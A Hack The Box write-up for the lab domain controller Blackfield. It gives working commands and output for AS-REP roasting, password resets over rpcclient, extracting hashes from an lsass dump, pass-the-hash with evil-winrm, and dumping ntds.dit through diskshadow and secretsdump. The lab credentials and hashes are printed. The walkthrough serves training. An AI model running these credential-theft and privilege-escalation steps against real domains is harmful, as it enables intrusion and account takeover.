Hack The Box Write-Up Blackfield - 10.10.10.192
Post
Cancel

# Hack The Box Write-Up Blackfield - 10.10.10.192

I know the sky is not the limit because there are footprints on the Moon — and I made some of them!

Buzz Aldrin

In this post, I’m writing a write-up for the machine Blackfield from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Blackfield is a ‘Hard’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 20 and submitting the root flag you points will be raised by 40.

Foothold

After the port scan with Nmap, I discovered that this server is the Domain Controller in the forest blackfield.local. After doing some reconnaissance, I found a list of user accounts through an public available share with user accounts. As the server uses Kerberos. I have attacked the Kerberos service, in order to harvest the non-preauth AS_REP responses, and I have got the hand on the password for the user support.

User

The Service Desk usually creates, maintains and deletes user accounts. Via RPC (Remote Procedure Call) I had the possibility to change the password for the account audit2020 and then via evil-winrm I had a session as audit2020 on this box.

The user account audit2020 has permissions on the forensic shared folder and through this shared folder I could download several files, among others lass.dmp. Using the Python version of Mimikatz, I was able to read out the NTLM hash of the user account svc_backup.

Root

As the user account svc_backup is a service account for the backup, it is a member of the Security Group Backup Operators. The account has some extra privileges so that it can backup critical system files, such as NTDS.dit. It has also permission to run the program DiskShadow.exe. With Powershell I have given the account svc_backup ‘Full Control’ on the NTDS.dit, then I have created a Volume Shadow Copy with the use of DiskShadow.exe. From the VSS the NTDS.dit file can be downloaded. Then I extracted the SYSTEM hive, from the Registry, in order to decrypt the contents of NTDS.dit. With the use of secretsdump.py from Impacket I was able to read the hashed password of the Administrator-account. I passed this hash with Evil-WinRM to the box to get a shell as the Administrator-account.

# Machine Info

 Machine Name: Blackfield Difficulty: Hard Points: 40 Release Date: 06 Jun 2020 IP: 10.10.10.192 Creator: aas

# Recon

## Port scan with Nmap

As always I start this box with the an Nmap portscan.

1 nmap -sC -sV -oA ./nmap/blackfield.txt 10.10.10.192 

The results.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-09 05:45 UTC Stats: 0:01:28 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 85.71% done; ETC: 05:47 (0:00:14 remaining) Stats: 0:02:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 85.71% done; ETC: 05:48 (0:00:20 remaining) Nmap scan report for 10.10.10.192 Host is up (0.017s latency). Not shown: 993 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-09 12:49:10Z) 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=6/9%Time=5EDF2219%P=x86_64-pc-linux-gnu%r(DNSVe SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x SF:04bind\0\0\x10\0\x03"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h03m13s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-09T12:51:28 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 187.62 seconds 

According to the results of Nmap, I’m dealing with a Domain Controller in the backfield.local forest, this server has the hostname DC01. The interesting ports are tcp/445 for SMB, 88/tcp for Kerberos, and 389/tcp for LDAP. Through Nmap, there are various scripts for enumeration for the Kerberos service and the LDAP protocol, but somehow the scripts of Nmap are not returning any information.

# Enumeration

## Enumeration through SMB

As the scripts of Nmap are not returning information for the Kerberos and LDAP service, I start with the enumeration of the SMB protocol. Maybe this protocol supports anonymous authentication, so I invoked the command below, for listing all of the available shares on this machine.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 ~$smbclient -L //10.10.10.192$smbclient -L //10.10.10.192 Enter WORKGROUP\htb-t13nn3s's password: Sharename Type Comment --------- ---- ------- ADMIN$Disk Remote Admin C$ Disk Default share forensic Disk Forensic / Audit share. IPC$IPC Remote IPC NETLOGON Disk Logon server share profiles$ Disk SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available 

The result is showing that there are two non-default shares listed on this box:

1. forensic
2. profiles$ I have started the enumeration of the forensic share, but I do not have the permission to list any files within this share. 1 2 3 4 5 ~$ smbclient //10.10.10.192/forensic Enter WORKGROUP\htb-t13nn3s's password: Try "help" to get a list of possible commands. smb: \> dir NT_STATUS_ACCESS_DENIED listing \* 

I have to check this share later when I got some credentials. I jumped over to the profiles$ share. My expectations for the profiles$ are high. The names of the profile folders generally have the SAMaccountName of the user account in question. Via Kerberos I can check which usernames are actually present in the Active Directory.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ~$smbclient //10.10.10.192/profiles$ Enter WORKGROUP\htb-t13nn3s's password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Wed Jun 3 16:47:12 2020 .. D 0 Wed Jun 3 16:47:12 2020 AAlleni D 0 Wed Jun 3 16:47:11 2020 ABarteski D 0 Wed Jun 3 16:47:11 2020 ABekesz D 0 Wed Jun 3 16:47:11 2020 ABenzies D 0 Wed Jun 3 16:47:11 2020 ... YPredestin D 0 Wed Jun 3 16:47:12 2020 YSeturino D 0 Wed Jun 3 16:47:12 2020 YSkoropada D 0 Wed Jun 3 16:47:12 2020 YVonebers D 0 Wed Jun 3 16:47:12 2020 YZarpentine D 0 Wed Jun 3 16:47:12 2020 ZAlatti D 0 Wed Jun 3 16:47:12 2020 ZKrenselewski D 0 Wed Jun 3 16:47:12 2020 ZMalaab D 0 Wed Jun 3 16:47:12 2020 ZMiick D 0 Wed Jun 3 16:47:12 2020 ZScozzari D 0 Wed Jun 3 16:47:12 2020 ZTimofeeff D 0 Wed Jun 3 16:47:12 2020 ZWausik D 0 Wed Jun 3 16:47:12 2020 

There are many directories listed, totally 314 directories. Where do I have to start? I walked through the list looking for something odd. And I found actually three usernames which are quite interesting to me:

1. audit2020
2. support
3. svc_backup

I need to know which user account is actually present in the Active Directory. Impacket got a script for this purpose, named GetNPUsers.py. This script can check of the usernames are existing and if they have Kerberos pre-authentication enabled. I exported the shares to a file named profiles.txt, I want to sent founded captured Ticket-Granting-Tickets to john for cracking, that’s the reason that I have added the -format parameter.

1 2 3 ~$python3 GetNPUsers.py blackfield.local/ -usersfile profiles.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john [-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set  So, the users audit2020 and svc_backup are users that exist in the Active Directory. Now, let’s check if there is one or more TGT’s gained through the script. And yes! The file hash.txt contains the TGT of the user support and have given the hash to john and the password got cracked! 1 2 3 4 5 6 7 ~cat hash.txt$krb5asrep$support@BLACKFIELD.LOCAL:a805494b6a7c447abe584ba870f9d2a3$e47c1499e8ae5b3dd3daa0988c71dbd748766bfc904683a6830138acaa6f8a094679ba4b8c9fca816fee9ca6ba046133caf660b1cec58af01b07 7d19925c99767812dfdc105dc8948135cf346ec7953afe1520d75362c5c79039e70f5283aeec75d2e49c0065b2b9612d1ffd7299da534f054003d5984b40464f66c4918f61068131dafd8f1daa009cf4ac0a634a6de431eb3d3a51d72 d7d527d1324a17d87099757a5164391d49f3d10048e5187ce0500d170410d2b2469929e9bc91f1b14380ed624e95441b76e18ccde76163179309a1c6c8e857a90e63a3af72d44debc28d40da5414b2dc90b3dc89071d1d2a9933470c8fd ~$john hash.txt -wordlist=/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt ~$ john hash.txt --show $krb5asrep$support@BLACKFIELD.LOCAL:#00^BlackKnight 

I got now the credentials for the user account support.

support:#00^BlackKnight

I have got now the foothold on this box, the next phase: intrusion.

# Intrusion

## Enumeration through RPC

Always when I have credentials, I need to start again with the reconnaissance. The results of the portscan show that the port for RPC (Remote Procedure Call) is open. The next step is to connect to RPC with rpcclient and enumerate the user accounts again, to make sure that I have missed no user account.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ~$rpcclient -u support -w backfield.local 10.10.10.192 Enter BLACKFIELD.local\support's password: I'm now connected with the RPC service, let's check which user accounts are listed on this box. ~$ rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[audit2020] rid:[0x44f] user:[support] rid:[0x450] user:[BLACKFIELD764430] rid:[0x451] user:[BLACKFIELD538365] rid:[0x452] user:[BLACKFIELD189208] rid:[0x453] user:[BLACKFIELD404458] rid:[0x454] user:[BLACKFIELD706381] rid:[0x455] ... user:[BLACKFIELD996878] rid:[0x582] user:[BLACKFIELD653097] rid:[0x583] user:[BLACKFIELD438814] rid:[0x584] user:[svc_backup] rid:[0x585] user:[lydericlefebvre] rid:[0x586]  The user account lydericlefebvre is new for me, I think I have missed that account in the earlier reconnaissance. I do not know if I gonna need this account, but for now, I have added to the list of user accounts. The next part is to check which groups are listed in the Active Directory. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ~$ rpcclient $> enumdomgroups group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] group:[Domain Admins] rid:[0x200] group:[Domain Users] rid:[0x201] group:[Domain Guests] rid:[0x202] group:[Domain Computers] rid:[0x203] group:[Domain Controllers] rid:[0x204] group:[Schema Admins] rid:[0x206] group:[Enterprise Admins] rid:[0x207] group:[Group Policy Creator Owners] rid:[0x208] group:[Read-only Domain Controllers] rid:[0x209] group:[Cloneable Domain Controllers] rid:[0x20a] group:[Protected Users] rid:[0x20d] group:[Key Admins] rid:[0x20e] group:[Enterprise Key Admins] rid:[0x20f] group:[DnsUpdateProxy] rid:[0x44e]  I got now a list of all of the useful user accounts and a list of the user groups. As far as the security groups are concerned there is nothing special to report, rather than that are all default groups that are always listed in an Active Directory. From now I have to check what I have to do. The account I’m currently logged in with has the name support. This account is apparently a Service Desk account. An IT Service Desk usually has the permissions to create, view and change user accounts. After Google search I found this article: https://malicious.link/post/2017/reset-ad-user-password-with-linux/. This article explains how to change a password from an user account through the rpcclient. I have tried is and was able to change the password of the account audit2020 to [email protected]. 1 2 3 4 5 6 ~$ rpcclient --user=support 10.10.10.192 -W blackfield.local Enter BLACKFIELD.LOCAL\support's password: rpcclient $> setuserinfo2 Usage: setuserinfo2 username level password [password_expired] rpcclient$> setuserinfo2 audit2020 23 [email protected] rpcclient $>  ## Jump to audit2020 Let’s jump over to the account audit2020. I know that there is a forensic share listed on this box. Until now, I din’t have the proper permission to list and read the files within this share. Maybe audit2020 does have the proper permissions. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ~$ smbclient //10.10.10.192/forensic --user=audit2020 --workgroup=blackfield.local Enter BLACKFIELD.LOCAL\audit2020's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 23 08:03:16 2020 .. D 0 Sun Feb 23 08:03:16 2020 commands_output D 0 Sun Feb 23 13:14:37 2020 memory_analysis D 0 Thu May 28 16:28:33 2020 tools D 0 Sun Feb 23 08:39:08 2020 7846143 blocks of size 4096. 4108744 blocks available smb: \> smb: \> recurse on smb: \> prompt off smb: \> mget * getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (3.8 KiloBytes/sec) (average 3.8 KiloBytes/sec) getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (6.8 KiloBytes/sec) (average 5.3 KiloBytes/sec) getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (110.8 KiloBytes/sec) (average 41.6 KiloBytes/sec) getting file \commands_output\firewall_rules.txt of size 518202 as firewall_rules.txt (1284.4 KiloBytes/sec) (average 642.4 KiloBytes/sec) getting file \commands_output\ipconfig.txt of size 1782 as ipconfig.txt (12.2 KiloBytes/sec) (average 548.4 KiloBytes/sec) getting file \commands_output\netstat.txt of size 3842 as netstat.txt (27.6 KiloBytes/sec) (average 483.6 KiloBytes/sec) getting file \commands_output\route.txt of size 3976 as route.txt (28.1 KiloBytes/sec) (average 432.6 KiloBytes/sec) getting file \commands_output\systeminfo.txt of size 4550 as systeminfo.txt (30.2 KiloBytes/sec) (average 389.7 KiloBytes/sec) getting file \commands_output\tasklist.txt of size 9990 as tasklist.txt (69.2 KiloBytes/sec) (average 360.0 KiloBytes/sec) getting file \memory_analysis\conhost.zip of size 37876530 as conhost.zip (1599.9 KiloBytes/sec) (average 1523.4 KiloBytes/sec) getting file \memory_analysis\ctfmon.zip of size 24962333 as ctfmon.zip (1704.1 KiloBytes/sec) (average 1589.8 KiloBytes/sec) getting file \memory_analysis\dfsrs.zip of size 23993305 as dfsrs.zip (1727.9 KiloBytes/sec) (average 1625.5 KiloBytes/sec) getting file \memory_analysis\dllhost.zip of size 18366396 as dllhost.zip (1628.9 KiloBytes/sec) (average 1626.1 KiloBytes/sec) getting file \memory_analysis\ismserv.zip of size 8810157 as ismserv.zip (1689.3 KiloBytes/sec) (average 1630.8 KiloBytes/sec) getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (1658.7 KiloBytes/sec) (average 1638.2 KiloBytes/sec) 

The user account audit2020 has the permissions to access the files in the share. I have downloaded all of them. I have also noticed that there is a directory listed with the name tools.

I have checked the contents of this folder and there are 3 tools listed. The tools sysinternals and volatility listed. Is there some investigation going on?

1 2 3 4 5 6 7 8 9 smb: \tools\> ls . D 0 Sun Feb 23 08:39:08 2020 .. D 0 Sun Feb 23 08:39:08 2020 sleuthkit-4.8.0-win32 D 0 Sun Feb 23 08:39:03 2020 sysinternals D 0 Sun Feb 23 08:35:25 2020 volatility D 0 Sun Feb 23 08:35:39 2020 7846143 blocks of size 4096. 4114768 blocks available smb: \tools\> 

I need to analyse the downloaded information. Through all of the files, there is one particular file which attracts the attention.

memory_analissy\lsass.DMP
The lsaas stands for Local Security Authority Subsystem Service, the process lsass.exe is being used by Windows for authentication purposes. Through the tools directory, I noticed the program volatility which can be used for analyzing memory dumps. As this file holds a memory dump from the lsass, I need to focus on this file. When I can read this file, there is a possibility to extract password hashes.

It took me some time to read out the lsass.dmp, first I tried with volatility to read out the DMP file, but couldn’t get it to work on my Kali machine. Eventually, I used the Python version of Mimikatz, pypykatz.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ~$pypykatz lsa minidump lsass.DMP INFO:root:Parsing file lsass.DMP FILE: ======== lsass.DMP ======= == LogonSession == authentication_id 406458 (633ba) session_id 2 username svc_backup domainname BLACKFIELD logon_server DC01 logon_time 2020-02-23T18:00:03.423728+00:00 sid S-1-5-21-4194615774-2175524697-3563712290-1413 luid 406458 == MSV == Username: svc_backup Domain: BLACKFIELD LM: NA NT: 9658d1d1dcd9250115e2205d9f48400d SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c == WDIGEST [633ba]== username svc_backup domainname BLACKFIELD password None == SSP [633ba]== username domainname password None == Kerberos == Username: svc_backup Domain: BLACKFIELD.LOCAL Password: None == WDIGEST [633ba]== username svc_backup domainname BLACKFIELD password None  I got now the NT (or just NTLM) hash from the user svc_backup. There is no need for cracking the hash, with Evil-WinRM I can just pass the hash. 1 evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192  I’m currently logged in as svc_backup and by grabbing the user flag, I can go for privilege escalation. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 *Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\svc_backup\Desktop> ls Directory: C:\Users\svc_backup\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/18/2020 6:53 PM 34 user.txt *Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt dfe91a601341819d2ca0cca082495551  # Privilege Escalation ## Enumeration I’m now going for privilege escalation to Domain Administrator. As always I am checking first who I am. What kind of permissions does have the account svc_backup. I checked the group membership and I found out that this user is member of the group Backup Operations. That sounds very obvious, the name of the user account already suggests it. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 *Evil-WinRM* PS C:\Users\svc_backup\Documents> net user svc_backup User name svc_backup Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 2/23/2020 10:54:48 AM Password expires Never Password changeable 2/24/2020 10:54:48 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 2/23/2020 11:03:50 AM Logon hours allowed All Local Group Memberships *Backup Operators *Remote Management Use Global Group memberships *Domain Users The command completed successfully. *Evil-WinRM* PS C:\Users\svc_backup\Documents>  A quick check on the privileges of this account learned me that it have at least two ‘extra’ privileges, such as SeBackupPrivilege and SeRestorePrivilege. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 *Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\svc_backup\Documents>  The current privileges give me the way to do a privilege escalation. Members of the Backup Operators are able to back-up critical system files on this Domain Controller. After some research, I found out that this account has access to the program diskshadow.exe. What is disk DiskShadow.exe? Diskshadow is an interactive command interpreter similar to Diskpart of Diskraid. This program can be used to create Volume Shadow Snapshots (VSS) of disks and expose them as a folder or as a Driveletter. Using a shadow copy avoids problems with file locking when they are in use. Microsoft had introduced this program from Windows Server 2008 and it replaces the vsshadow. This program is by default located in the location C:\Windows\System32\Diskshadow.exe. This gives me the opportunity to get the hand on the NTDS.dit file, by creating a Volume Shadow Copy I can solve the problem that the files are being locked. I also need the SYSTEM hive from the registry which is containing the boot key, which is needed to decrypt the NTDS.dit. The only challenge left is getting permissions on the NTDS.dit file. ## Dumping the contents of NTDS.dit Before I start working on the NTDS.dit, first this question. What is NTDS.dit? The NTDS.dit is the Active Directory database. It stores information about Security Groups, user objects, memberships and it stores all the hashed passwords of the user accounts. This file is encrypted with the boot key. NTDS.dit is only revealing his contents when it gots decrypted with this key. The boot key is stored in the SYSTEM hive in the Registry. The program DiskShadow.exe is supporting scripts (DiskShadow.exe /s), I have created a script which is creating a Volume Shadow Copy and expose the VSS with the Driveletter Z:. 1 2 3 4 set context persistent nowriters# add volume c: alias binsec# create# expose %binsec% z:#  Getting the permissions in the file NTDS.dit was pretty challenging for me, because I was overthinking. In the end it was easy as it is, just use Powershell to create an ACL-object which is giving the user account svc_backup ‘full control’ and apply the permission to the file C:\Windows\NTDS\ntds.dit. 1 2 3 4 5 *Evil-WinRM* PS C:\.enum>$NTDS = "C:\Windows\NTDS\ntds.dit" *Evil-WinRM* PS C:\.enum> $acl = Get-Acl$NTDS *Evil-WinRM* PS C:\.enum> $AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow") *Evil-WinRM* PS C:\.enum>$acl.SetAccessRule($AccessRule) *Evil-WinRM* PS C:\.enum>$acl | Set-Acl $NTDS  Always checking your work. 1 2 3 4 *Evil-WinRM* PS C:\.enum> Get-acl$NTDS | select -expand accesstostring BLACKFIELD\svc_backup Allow FullControl NT AUTHORITY\SYSTEM Allow FullControl BUILTIN\Administrators Allow FullControl 

I have already created the script for DiskShadow.exe and the permissions are set. I can now create the Volume Shadow Copy by calling the script from DiskShadow.exe. I have uploaded the script file to my working directory C:\.enum and run the script.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 *Evil-WinRM* PS C:\.enum> diskshadow.exe /s C:\.enum\shadowscript.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 6/20/2020 6:42:48 PM -> set context persistent nowriters -> add volume c: alias binsec -> create Alias binsec for shadow ID {0068d66f-2552-4900-ae8b-8d4f2012c0a9} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {7c516490-e0d1-428d-a35a-ba583b2dcb2d} set as environment variable. Querying all shadow copies with the shadow copy set ID {7c516490-e0d1-428d-a35a-ba583b2dcb2d} * Shadow copy ID = {0068d66f-2552-4900-ae8b-8d4f2012c0a9} %binsec% - Shadow copy set: {7c516490-e0d1-428d-a35a-ba583b2dcb2d} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\] - Creation time: 6/20/2020 6:42:49 PM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential Number of shadow copies listed: 1 -> expose %binsec% z: -> %binsec% = {0068d66f-2552-4900-ae8b-8d4f2012c0a9} The shadow copy was successfully exposed as z:\. -> *Evil-WinRM* PS C:\.enum> 

Now I can navigate to the Volume Shadow Copy and copy the NTDS.dit file to the box and then I can download this file to my machine.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 *Evil-WinRM* PS C:\.enum> cd Z:\ *Evil-WinRM* PS Z:\> cd Windows\NTDS *Evil-WinRM* PS Z:\Windows\NTDS> cp ntds.dit C:\.enum *Evil-WinRM* PS Z:\Windows\NTDS> cd C:\.enum *Evil-WinRM* PS C:\.enum> ls Directory: C:\.enum Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 6/20/2020 6:42 PM 612 2020-06-20_18-42-49_DC01.cab -a---- 6/20/2020 2:31 PM 18874368 ntds.dit -a---- 6/20/2020 6:42 PM 90 shadowscript.txt *Evil-WinRM* PS C:\.enum> download ntds.dit Info: Downloading C:\.enum\ntds.dit to ntds.dit Info: Download successful! *Evil-WinRM* PS C:\.enum> 

In order to extract the hashes from NTDS.dit, I need the SYSTEM hive which contains the boot key I need for the decryption of NTDS.dit.

1 2 3 4 5 6 7 8 9 10 *Evil-WinRM* PS C:\.enum> reg save hklm\system C:\.enum\system.bak The operation completed successfully. *Evil-WinRM* PS C:\.enum> download system.bak Info: Downloading C:\.enum\system.bak to system.bak Info: Download successful! *Evil-WinRM* PS C:\.enum 

I got everything in place. With the secretsdump.py from Impacket I can extract the NTDS.dit and read the hashes.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ~$python3 secretsdump.py -ntds ntds.dit -system system.bak LOCAL Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d::: audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5::: support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212::: I can pass the hash with Evil-WinRM to the box and create a session with the Administrator-account. ~\$ evil-winrm -u Administrator -H "184fb5e5178480be64824d4cd53b99ee" -i 10.10.10.192 

On the Desktop there is a file notes.txt. The contents reveals that there was indeed an investigation going after a domain compromise. I think they are compromised again:-)

1 2 3 4 5 6 7 8 9 10 11 12 Mates, After the domain compromise and computer forensic last week, auditors advised us to: change every passwords -- Done. change krbtgt password twice -- Done. disable auditor's account (audit2020) -- KO. use nominative domain admin accounts instead of this one -- KO. We will probably have to backup & restore things later. - Mike. PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt) 

Last but not least, I need to read the ‘encrypted’ audit report to have prove that I have owned this box.

1 2 *Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt 048aa4c756dcd99c078a7093cd64fe41 

Did you enjoy this write-up as much as I enjoyed hacking this machine? Please, consider to give me a respect point, my HTB profile: https://www.hackthebox.eu/home/users/profile/224856. It means a lot to me. Thanks in advance!

Happy Hacking!